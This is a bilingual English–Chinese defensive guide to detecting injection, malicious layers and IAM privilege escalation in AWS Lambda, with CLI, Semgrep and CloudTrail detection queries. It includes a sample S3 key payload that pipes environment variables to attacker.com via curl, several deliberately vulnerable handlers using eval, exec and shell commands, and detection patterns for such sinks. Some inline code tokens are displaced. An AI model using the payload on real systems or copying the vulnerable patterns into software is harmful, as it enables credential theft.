detecting-serverless-function-injection
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseDetecting Serverless Function Injection
检测无服务器函数注入
When to Use
适用场景
- Auditing Lambda/Cloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (,
eval,exec,child_process.exec)os.system - Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment
- Detecting privilege escalation paths where an adversary with and
lambda:UpdateFunctionCodecan assume higher-privilege execution rolesiam:PassRole - Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution
- Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns
Do not use for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.
- 审计Lambda/Cloud Functions中存在的代码注入漏洞,此类漏洞源于未经过滤的事件数据流入危险的运行时函数(、
eval、exec、child_process.exec)os.system - 调查攻击者修改函数代码或层以在无服务器环境中建立持久化权限或窃取数据的事件
- 检测权限提升路径:拥有和
lambda:UpdateFunctionCode权限的攻击者可获取更高权限的执行角色iam:PassRole - 分析事件源投毒攻击:攻击者通过触发函数执行的S3对象上传、SQS消息、DynamoDB流记录或API Gateway请求注入恶意载荷
- 为监控无服务器工作负载的SOC团队构建检测规则,识别未授权的函数修改、层添加和可疑调用模式
不适用场景:对无服务器函数进行负载测试或拒绝服务模拟;在未获得明确授权的情况下,针对处理实时客户数据的生产函数进行测试;在未经过变更管理审批的情况下,修改共享账户中的IAM策略。
Prerequisites
前置条件
- AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge
- AWS CLI v2 configured with appropriate credentials and region
- CloudTrail enabled with Data Events for Lambda (captures events) and Management Events (captures
Invoke,UpdateFunctionCode,UpdateFunctionConfiguration)CreateFunction - Python 3.9+ with ,
boto3(Python SAST), andbanditfor static analysissemgrep - Access to function source code or deployment packages for static analysis
- CloudWatch Logs Insights access for querying Lambda execution logs
- 拥有AWS账户访问权限,具备Lambda、CloudTrail、IAM、CloudWatch Logs和EventBridge的读取权限
- 已配置AWS CLI v2,拥有合适的凭证和区域设置
- 已启用CloudTrail并配置Lambda数据事件(捕获事件)和管理事件(捕获
Invoke、UpdateFunctionCode、UpdateFunctionConfiguration)CreateFunction - 安装Python 3.9+,并配备、
boto3(Python静态应用安全测试工具)和bandit用于静态分析semgrep - 可访问函数源代码或部署包以进行静态分析
- 拥有CloudWatch Logs Insights访问权限,可查询Lambda执行日志
Workflow
工作流程
Step 1: Enumerate the Serverless Attack Surface
步骤1:枚举无服务器攻击面
Map all Lambda functions and their event source triggers to understand injection entry points:
- List all Lambda functions and their configurations:
bash
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table - Map event source mappings: Each event source mapping is a potential injection entry point where untrusted data enters the function:
bash
aws lambda list-event-source-mappings --output json | \ jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}' - Identify API Gateway triggers: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:
For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.bash
aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table - Identify S3 event triggers: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata:
bash
aws s3api get-bucket-notification-configuration --bucket <bucket-name> - Catalog function environment variables: Secrets in environment variables are exposed if an attacker achieves code execution inside the function:
bash
aws lambda get-function-configuration --function-name <name> \ --query 'Environment.Variables' --output json - Identify overprivileged execution roles: Functions with resource permissions or administrative policies are high-value escalation targets:
*bashaws iam list-attached-role-policies --role-name <lambda-exec-role> aws iam list-role-policies --role-name <lambda-exec-role>
映射所有Lambda函数及其事件源触发器,明确注入入口点:
- 列出所有Lambda函数及其配置:
bash
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table - 映射事件源映射关系:每个事件源映射都是潜在的注入入口点,不受信任的数据会从此处进入函数:
bash
aws lambda list-event-source-mappings --output json | \ jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}' - 识别API Gateway触发器:API Gateway路由会将HTTP请求数据(头部、查询字符串、请求体、路径参数)直接传入Lambda事件对象:
针对每个API,枚举资源和方法,确定哪些Lambda函数接收用户可控的HTTP输入。bash
aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table - 识别S3事件触发器:S3存储桶通知可触发Lambda,攻击者可控制对象键和元数据:
bash
aws s3api get-bucket-notification-configuration --bucket <bucket-name> - 记录函数环境变量:若攻击者在函数内实现代码执行,环境变量中的密钥会被泄露:
bash
aws lambda get-function-configuration --function-name <name> \ --query 'Environment.Variables' --output json - 识别权限过高的执行角色:拥有资源权限或管理员策略的函数是高价值的权限提升目标:
*bashaws iam list-attached-role-policies --role-name <lambda-exec-role> aws iam list-role-policies --role-name <lambda-exec-role>
Step 2: Static Analysis for Injection Sinks
步骤2:针对注入接收点的静态分析
Scan function code for dangerous patterns that allow injected event data to execute as code or commands:
-
Download function deployment packages:bash
aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip unzip function.zip -d function_code/ -
Python injection sinks (Lambda Python runtimes): Search for functions that execute strings as code:python
# DANGEROUS: Direct eval/exec of event data eval(event['expression']) # Code injection via eval exec(event['code']) # Arbitrary code execution os.system(event['command']) # OS command injection subprocess.call(event['cmd'], shell=True) # Shell injection os.popen(event['input']) # Command injection pickle.loads(event['data']) # Deserialization attack yaml.load(event['config']) # YAML deserialization (unsafe loader) -
Node.js injection sinks (Lambda Node.js runtimes):javascript
// DANGEROUS: Direct execution of event data eval(event.expression); // Code injection new Function(event.code)(); // Dynamic function creation child_process.exec(event.command); // OS command injection child_process.execSync(event.cmd); // Synchronous command injection vm.runInNewContext(event.script); // Sandbox escape potential require('child_process').exec(event.input); // Import-and-execute pattern -
Run Semgrep with serverless rules: Use purpose-built rules that detect event data flowing into injection sinks:bash
semgrep --config "p/owasp-top-ten" --config "p/command-injection" \ --config "p/python-security" function_code/ --json --output semgrep_results.json -
Run Bandit for Python functions:bash
bandit -r function_code/ -f json -o bandit_results.json \ -t B102,B301,B307,B602,B603,B604,B605,B606,B607These test IDs specifically target,exec,pickle,evalwithsubprocess, and other injection-relevant patterns.shell=True -
Custom pattern detection: Search for indirect injection patterns where event data is concatenated into strings that are later executed:python
# Indirect injection: event data flows into SQL query string query = f"SELECT * FROM users WHERE id = '{event['userId']}'" cursor.execute(query) # SQL injection # Indirect injection: event data flows into template rendering template = event['template'] rendered = jinja2.Template(template).render() # SSTI
扫描函数代码中存在的危险模式,这些模式会导致注入的事件数据被作为代码或命令执行:
-
下载函数部署包:bash
aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip unzip function.zip -d function_code/ -
Python注入接收点(Lambda Python运行时):搜索将字符串作为代码执行的函数:python
# 危险:直接对事件数据执行eval/exec eval(event['expression']) # 通过eval实现代码注入 exec(event['code']) # 任意代码执行 os.system(event['command']) # 操作系统命令注入 subprocess.call(event['cmd'], shell=True) # Shell注入 os.popen(event['input']) # 命令注入 pickle.loads(event['data']) # 反序列化攻击 yaml.load(event['config']) # YAML反序列化(不安全加载器) -
Node.js注入接收点(Lambda Node.js运行时):javascript
// 危险:直接执行事件数据 eval(event.expression); // 代码注入 new Function(event.code)(); // 动态函数创建 child_process.exec(event.command); // 操作系统命令注入 child_process.execSync(event.cmd); // 同步命令注入 vm.runInNewContext(event.script); // 沙箱逃逸风险 require('child_process').exec(event.input); // 导入并执行模式 -
使用Semgrep运行无服务器规则:使用专门的规则检测事件数据流入注入接收点的情况:bash
semgrep --config "p/owasp-top-ten" --config "p/command-injection" \ --config "p/python-security" function_code/ --json --output semgrep_results.json -
针对Python函数运行Bandit:bash
bandit -r function_code/ -f json -o bandit_results.json \ -t B102,B301,B307,B602,B603,B604,B605,B606,B607这些测试ID专门针对、exec、pickle、带eval的shell=True以及其他与注入相关的模式。subprocess -
自定义模式检测:搜索间接注入模式,即事件数据被拼接进字符串后执行:python
# 间接注入:事件数据流入SQL查询字符串 query = f"SELECT * FROM users WHERE id = '{event['userId']}'" cursor.execute(query) # SQL注入 # 间接注入:事件数据流入模板渲染 template = event['template'] rendered = jinja2.Template(template).render() # 服务器端模板注入(SSTI)
Step 3: Detect Event Source Poisoning
步骤3:检测事件源投毒
Analyze event sources for injection payloads that exploit how Lambda processes triggers:
-
S3 event key injection: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:python
# Vulnerable Lambda handler def handler(event, context): bucket = event['Records'][0]['s3']['bucket']['name'] key = event['Records'][0]['s3']['object']['key'] # VULNERABLE: key is attacker-controlled os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")Attack: Upload an object with keyto inject a command through the S3 event.; curl http://attacker.com/exfil?data=$(env) -
SQS message body injection: Lambda processes SQS messages where the body contains attacker-controlled data:python
# Vulnerable Lambda handler def handler(event, context): for record in event['Records']: message = json.loads(record['body']) # VULNERABLE: message content used in eval result = eval(message['formula']) -
API Gateway header/parameter injection: HTTP request data passes through API Gateway into the Lambda event:python
# Vulnerable Lambda handler def handler(event, context): user_agent = event['headers']['User-Agent'] # VULNERABLE: header value used in shell command subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True) -
DynamoDB Stream record injection: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:python
# Vulnerable Lambda handler def handler(event, context): for record in event['Records']: new_image = record['dynamodb']['NewImage'] config = new_image['config']['S'] # VULNERABLE: DynamoDB record value used in exec exec(config) -
Detection via CloudWatch Logs Insights: Query for evidence of injection attempts in function execution logs:
fields @timestamp, @message | filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/ | filter @message like /(?i)(error|exception|traceback|syntax)/ | sort @timestamp desc | limit 100
分析事件源中的注入载荷,这些载荷会利用Lambda处理触发器的方式:
-
S3事件键注入:当Lambda函数处理S3事件时,事件记录中的对象键可能包含注入载荷。攻击者上传带有恶意键名的对象:python
# 存在漏洞的Lambda处理器 def handler(event, context): bucket = event['Records'][0]['s3']['bucket']['name'] key = event['Records'][0]['s3']['object']['key'] # 存在漏洞:key由攻击者控制 os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")攻击方式:上传键为的对象,通过S3事件注入命令。; curl http://attacker.com/exfil?data=$(env) -
SQS消息体注入:Lambda处理SQS消息时,消息体包含攻击者可控的数据:python
# 存在漏洞的Lambda处理器 def handler(event, context): for record in event['Records']: message = json.loads(record['body']) # 存在漏洞:消息内容被用于eval result = eval(message['formula']) -
API Gateway头部/参数注入:HTTP请求数据通过API Gateway传入Lambda事件:python
# 存在漏洞的Lambda处理器 def handler(event, context): user_agent = event['headers']['User-Agent'] # 存在漏洞:头部值被用于Shell命令 subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True) -
DynamoDB流记录注入:修改后的DynamoDB项会触发Lambda并传入新记录值。若攻击者可写入表,则可控制事件数据:python
# 存在漏洞的Lambda处理器 def handler(event, context): for record in event['Records']: new_image = record['dynamodb']['NewImage'] config = new_image['config']['S'] # 存在漏洞:DynamoDB记录值被用于exec exec(config) -
通过CloudWatch Logs Insights检测:查询函数执行日志中的注入尝试证据:
fields @timestamp, @message | filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/ | filter @message like /(?i)(error|exception|traceback|syntax)/ | sort @timestamp desc | limit 100
Step 4: Detect Malicious Lambda Layer Injection
步骤4:检测恶意Lambda层注入
Identify unauthorized Lambda layers that intercept function execution or exfiltrate data:
-
Audit current layer attachments: List all functions and their layer versions to identify unexpected additions:bash
aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json -
Detect layer modification events in CloudTrail: Query forevents that add or change layers:
UpdateFunctionConfigurationbashaws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \ --start-time "2026-03-12T00:00:00Z" \ --end-time "2026-03-19T23:59:59Z" \ --query 'Events[*].[EventTime,Username,CloudTrailEvent]'Parse theJSON to check ifCloudTrailEventwas modified in the request parameters.Layers -
Analyze layer contents: Download and inspect layer packages for malicious code:bash
aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \ --query 'Content.Location' --output text | xargs curl -o layer.zip unzip layer.zip -d layer_contents/ # Search for suspicious patterns grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/ -
Layer hijacking indicators: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:
- Python: Layer code in is imported before the function's own modules
/opt/python/ - Node.js: Layer code in overrides function dependencies
/opt/nodejs/node_modules/ - A layer providing a modified package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint
boto3
- Python: Layer code in
-
CloudTrail detection query for layer changes:json
{ "source": ["aws.lambda"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"], "errorCode": [{"exists": false}] } }
识别未授权的Lambda层,这些层会拦截函数执行或窃取数据:
-
审计当前层附件:列出所有函数及其层版本,识别意外添加的层:bash
aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json -
在CloudTrail中检测层修改事件:查询添加或更改层的事件:
UpdateFunctionConfigurationbashaws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \ --start-time "2026-03-12T00:00:00Z" \ --end-time "2026-03-19T23:59:59Z" \ --query 'Events[*].[EventTime,Username,CloudTrailEvent]'解析JSON,检查请求参数中是否修改了CloudTrailEvent。Layers -
分析层内容:下载并检查层包中的恶意代码:bash
aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \ --query 'Content.Location' --output text | xargs curl -o layer.zip unzip layer.zip -d layer_contents/ # 搜索可疑模式 grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/ -
层劫持指标:恶意层可通过将文件放入运行时的搜索路径来覆盖函数的运行时行为:
- Python:中的层代码会优先于函数自身模块被导入
/opt/python/ - Node.js:中的层代码会覆盖函数依赖
/opt/nodejs/node_modules/ - 提供修改后包的层可拦截所有AWS API调用、记录凭证并将请求转发到攻击者控制的端点
boto3
- Python:
-
针对层变更的CloudTrail检测查询:json
{ "source": ["aws.lambda"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"], "errorCode": [{"exists": false}] } }
Step 5: Detect IAM Privilege Escalation via Lambda
步骤5:检测通过Lambda实现的IAM权限提升
Identify escalation paths where attackers modify functions to assume higher-privilege roles:
-
The Lambda privilege escalation pattern: An attacker withand
lambda:UpdateFunctionCodepermissions can:iam:PassRole- Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess)
- Modify the function's code to call or perform privileged actions
sts:GetCallerIdentity - Invoke the function, which executes with the high-privilege role
- Exfiltrate the role's temporary credentials from the function's environment variables (,
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY)AWS_SESSION_TOKEN
-
Detect UpdateFunctionCode events: Monitor CloudTrail for function code modifications:bash
aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \ --start-time "2026-03-12T00:00:00Z" \ --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table -
Detect PassRole to Lambda:is required to attach a different execution role to a function. Monitor for this:
iam:PassRole# CloudWatch Logs Insights on CloudTrail logs fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role | filter eventName = "UpdateFunctionConfiguration20150331v2" | filter ispresent(requestParameters.role) | sort eventTime desc -
Detect credential exfiltration from Lambda: A compromised function may call STS or create new IAM entities:
fields eventTime, userIdentity.arn, eventName, sourceIPAddress | filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/ | filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy", "CreateAccessKey", "AssumeRole", "PutUserPolicy"] | sort eventTime desc -
EventBridge rule for real-time alerting: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:json
{ "source": ["aws.lambda"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventName": [ "UpdateFunctionCode20150331v2", "UpdateFunctionConfiguration20150331v2", "CreateFunction20150331" ], "errorCode": [{"exists": false}] } }
识别攻击者通过修改函数获取更高权限角色的提升路径:
-
Lambda权限提升模式:拥有和
lambda:UpdateFunctionCode权限的攻击者可:iam:PassRole- 识别拥有高权限执行角色(如AdministratorAccess)的Lambda函数
- 修改函数代码,调用或执行高权限操作
sts:GetCallerIdentity - 调用函数,使其以高权限角色执行
- 从函数环境变量(、
AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY)中窃取角色的临时凭证AWS_SESSION_TOKEN
-
检测UpdateFunctionCode事件:监控CloudTrail中的函数代码修改事件:bash
aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \ --start-time "2026-03-12T00:00:00Z" \ --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table -
检测向Lambda传递角色(PassRole):将不同执行角色附加到函数需要权限,监控此类操作:
iam:PassRole# 针对CloudTrail日志的CloudWatch Logs Insights查询 fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role | filter eventName = "UpdateFunctionConfiguration20150331v2" | filter ispresent(requestParameters.role) | sort eventTime desc -
检测从Lambda窃取凭证:被攻陷的函数可能调用STS或创建新的IAM实体:
fields eventTime, userIdentity.arn, eventName, sourceIPAddress | filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/ | filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy", "CreateAccessKey", "AssumeRole", "PutUserPolicy"] | sort eventTime desc -
用于实时告警的EventBridge规则:创建EventBridge规则,当函数代码被修改时触发SNS告警:json
{ "source": ["aws.lambda"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventName": [ "UpdateFunctionCode20150331v2", "UpdateFunctionConfiguration20150331v2", "CreateFunction20150331" ], "errorCode": [{"exists": false}] } }
Step 6: Implement Runtime Injection Prevention
步骤6:实现运行时注入防护
Deploy runtime protection controls to prevent injection at execution time:
-
Input validation at handler entry: Validate and sanitize all event data before processing:python
import re import json from functools import wraps SAFE_PATTERNS = { 'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'), 'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'), 'action': re.compile(r'^(get|list|create|update|delete)$'), } def validate_event(schema): """Decorator that validates Lambda event against a whitelist schema.""" def decorator(func): @wraps(func) def wrapper(event, context): for field, pattern in schema.items(): value = event.get(field, '') if isinstance(value, str) and not pattern.match(value): return { 'statusCode': 400, 'body': json.dumps({'error': f'Invalid {field}'}) } return func(event, context) return wrapper return decorator @validate_event(SAFE_PATTERNS) def handler(event, context): # Event data is validated before reaching this point user_id = event['userId'] # Safe to use in queries with parameterized statements return {'statusCode': 200, 'body': json.dumps({'user': user_id})} -
Lambda function URL authorization: Ensure functions exposed via URLs require IAM auth:bash
aws lambda get-function-url-config --function-name <name> \ --query 'AuthType' --output text # Must return "AWS_IAM", not "NONE" -
Least privilege execution roles: Restrict the function's IAM role to the minimum required permissions:json
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "dynamodb:GetItem", "dynamodb:PutItem" ], "Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable" }, { "Effect": "Allow", "Action": "logs:*", "Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*" } ] } -
SCP to prevent dangerous Lambda modifications: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:json
{ "Version": "2012-10-17", "Statement": [ { "Sid": "DenyLambdaCodeUpdateExceptCICD", "Effect": "Deny", "Action": [ "lambda:UpdateFunctionCode", "lambda:UpdateFunctionConfiguration" ], "Resource": "*", "Condition": { "StringNotLike": { "aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole" } } } ] } -
AWS Lambda Powertools for structured logging: Emit structured security events that can be ingested by SIEM:python
from aws_lambda_powertools import Logger, Tracer from aws_lambda_powertools.utilities.validation import validate logger = Logger(service="payment-processor") tracer = Tracer() @logger.inject_lambda_context @tracer.capture_lambda_handler def handler(event, context): logger.info("Processing event", extra={ "source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'), "user_agent": event.get('headers', {}).get('User-Agent'), "http_method": event.get('httpMethod'), })
部署运行时控制措施,防止执行阶段发生注入:
-
处理器入口处的输入验证:在处理前验证并过滤所有事件数据:python
import re import json from functools import wraps SAFE_PATTERNS = { 'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'), 'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'), 'action': re.compile(r'^(get|list|create|update|delete)$'), } def validate_event(schema): """验证Lambda事件是否符合白名单模式的装饰器。""" def decorator(func): @wraps(func) def wrapper(event, context): for field, pattern in schema.items(): value = event.get(field, '') if isinstance(value, str) and not pattern.match(value): return { 'statusCode': 400, 'body': json.dumps({'error': f'无效的{field}'}) } return func(event, context) return wrapper return decorator @validate_event(SAFE_PATTERNS) def handler(event, context): # 事件数据在到达此处前已通过验证 user_id = event['userId'] # 可安全用于参数化语句查询 return {'statusCode': 200, 'body': json.dumps({'user': user_id})} -
Lambda函数URL授权:确保通过URL暴露的函数需要IAM认证:bash
aws lambda get-function-url-config --function-name <name> \ --query 'AuthType' --output text # 必须返回"AWS_IAM",而非"NONE" -
最小权限执行角色:将函数的IAM角色限制为所需的最小权限:json
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "dynamodb:GetItem", "dynamodb:PutItem" ], "Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable" }, { "Effect": "Allow", "Action": "logs:*", "Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*" } ] } -
防止危险Lambda修改的SCP:在组织层面应用服务控制策略(SCP),限制可修改Lambda函数和传递角色的用户:json
{ "Version": "2012-10-17", "Statement": [ { "Sid": "DenyLambdaCodeUpdateExceptCICD", "Effect": "Deny", "Action": [ "lambda:UpdateFunctionCode", "lambda:UpdateFunctionConfiguration" ], "Resource": "*", "Condition": { "StringNotLike": { "aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole" } } } ] } -
用于结构化日志的AWS Lambda Powertools:生成可被SIEM接收的结构化安全事件:python
from aws_lambda_powertools import Logger, Tracer from aws_lambda_powertools.utilities.validation import validate logger = Logger(service="payment-processor") tracer = Tracer() @logger.inject_lambda_context @tracer.capture_lambda_handler def handler(event, context): logger.info("处理事件", extra={ "source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'), "user_agent": event.get('headers', {}).get('User-Agent'), "http_method": event.get('httpMethod'), })
Key Concepts
核心概念
| Term | Definition |
|---|---|
| Event Source Poisoning | An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event |
| Function Injection | Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler |
| Lambda Layer Hijacking | An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path |
| IAM Privilege Escalation via Lambda | A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials |
| OWASP Serverless Top 10 | A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6) |
| Cold Start Injection | An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context |
| Execution Role | The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions |
| 术语 | 定义 |
|---|---|
| 事件源投毒(Event Source Poisoning) | 一种攻击方式,攻击者将恶意数据注入无服务器事件源(S3、SQS、DynamoDB Stream、API Gateway),当函数处理该事件时触发代码执行或注入 |
| 函数注入(Function Injection) | 利用未经过滤的事件数据流入无服务器函数处理器内危险运行时函数(eval、exec、os.system、child_process.exec)的漏洞进行攻击 |
| Lambda层劫持(Lambda Layer Hijacking) | 一种攻击方式,攻击者将恶意Lambda层附加到函数上,通过将代码放入运行时模块搜索路径来拦截执行、覆盖依赖或窃取数据 |
| 通过Lambda实现的IAM权限提升(IAM Privilege Escalation via Lambda) | 一种技术,拥有UpdateFunctionCode和PassRole权限的攻击者修改函数,使其以更高权限的IAM角色执行,从而提取临时凭证 |
| OWASP无服务器Top 10 | 识别无服务器架构中十大最关键风险的安全框架,包括注入(SAS-1)、身份验证失效(SAS-2)和权限过高的函数(SAS-6) |
| 冷启动注入(Cold Start Injection) | 针对函数初始化阶段的攻击,环境变量、层代码和扩展在处理器执行前运行,可能处于未监控的环境中 |
| 执行角色(Execution Role) | Lambda函数执行时假定的IAM角色,提供临时凭证,定义函数的AWS API访问权限 |
Tools & Systems
工具与系统
- Semgrep: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes
- Bandit: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization
- AWS CloudTrail: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns
- CloudWatch Logs Insights: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns
- AWS Config: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types
- Prowler: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption
- Semgrep:静态分析工具,带有无服务器专用规则包,可检测Python、Node.js、Java和Go Lambda运行时中事件数据流入注入接收点的情况
- Bandit:Python专用静态应用安全测试工具,可识别安全问题,包括使用eval、exec、带shell=True的subprocess和pickle反序列化
- AWS CloudTrail:记录Lambda管理事件(UpdateFunctionCode、CreateFunction)和数据事件(Invoke),用于检测未授权修改和异常调用模式
- CloudWatch Logs Insights:查询引擎,用于搜索Lambda执行日志中的注入尝试指标、运行时错误和可疑命令模式
- AWS Config:根据合规规则评估Lambda函数配置,包括层清单、执行角色权限和函数URL授权类型
- Prowler:开源AWS安全评估工具,带有Lambda专用检查项,包括公共访问、权限过高的角色和缺失加密
Common Scenarios
常见场景
Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack
场景:检测并响应基于Lambda的权限提升攻击
Context: A SOC analyst receives a GuardDuty alert for on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWSlambda:UpdateFunctionCodeApproach:
- Query CloudTrail for events in the past 7 days to identify when the function was modified and by which principal:
UpdateFunctionCodefields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress | filter eventName = "UpdateFunctionCode20150331v2" | filter requestParameters.functionName = "payment-processor" | sort eventTime desc - Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows
- Download the modified function code and find an injected snippet that POSTs ,
os.environ['AWS_ACCESS_KEY_ID'], andAWS_SECRET_ACCESS_KEYto an external endpoint on each invocationAWS_SESSION_TOKEN - Check if the attacker also added a malicious layer by querying for events with layer changes
UpdateFunctionConfiguration - Verify the function's execution role permissions: the payment-processor role has ,
dynamodb:*,s3:GetObject, ands3:PutObjectacross all resources, exceeding least privilegesqs:SendMessage - Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding ,
sts:GetCallerIdentity,s3:ListBucketson the customer table, anddynamodb:Scanattemptsiam:CreateUser - Respond by reverting the function code from the last known-good deployment package in the CI/CD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts to the CI/CD role only
lambda:UpdateFunctionCode
Pitfalls:
- Only checking the function code and missing malicious layers that persist even after the function code is reverted
- Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3
- Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid
- Restoring the function without first preserving the malicious code as forensic evidence
- Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open
背景:SOC分析师收到GuardDuty告警,涉及多个Lambda函数使用的IAM角色。调查发现,攻击者攻陷了开发者的AWS凭证(拥有权限),并修改了支付处理函数以窃取执行角色的临时凭证。
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWSlambda:UpdateFunctionCode应对方法:
- 查询过去7天CloudTrail中的事件,确定函数何时被修改以及修改者:
UpdateFunctionCodefields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress | filter eventName = "UpdateFunctionCode20150331v2" | filter requestParameters.functionName = "payment-processor" | sort eventTime desc - 发现函数在02:47 UTC被来自意外地理位置的IP修改,超出正常部署窗口
- 下载修改后的函数代码,发现注入的代码片段会在每次调用时将、
os.environ['AWS_ACCESS_KEY_ID']和AWS_SECRET_ACCESS_KEY发送到外部端点AWS_SESSION_TOKEN - 通过查询带有层变更的事件,检查攻击者是否还添加了恶意层
UpdateFunctionConfiguration - 验证函数执行角色权限:payment-processor角色拥有所有资源的、
dynamodb:*、s3:GetObject和s3:PutObject权限,超出最小权限要求sqs:SendMessage - 在CloudTrail中搜索窃取的凭证在AWS外部发起的API调用,发现、
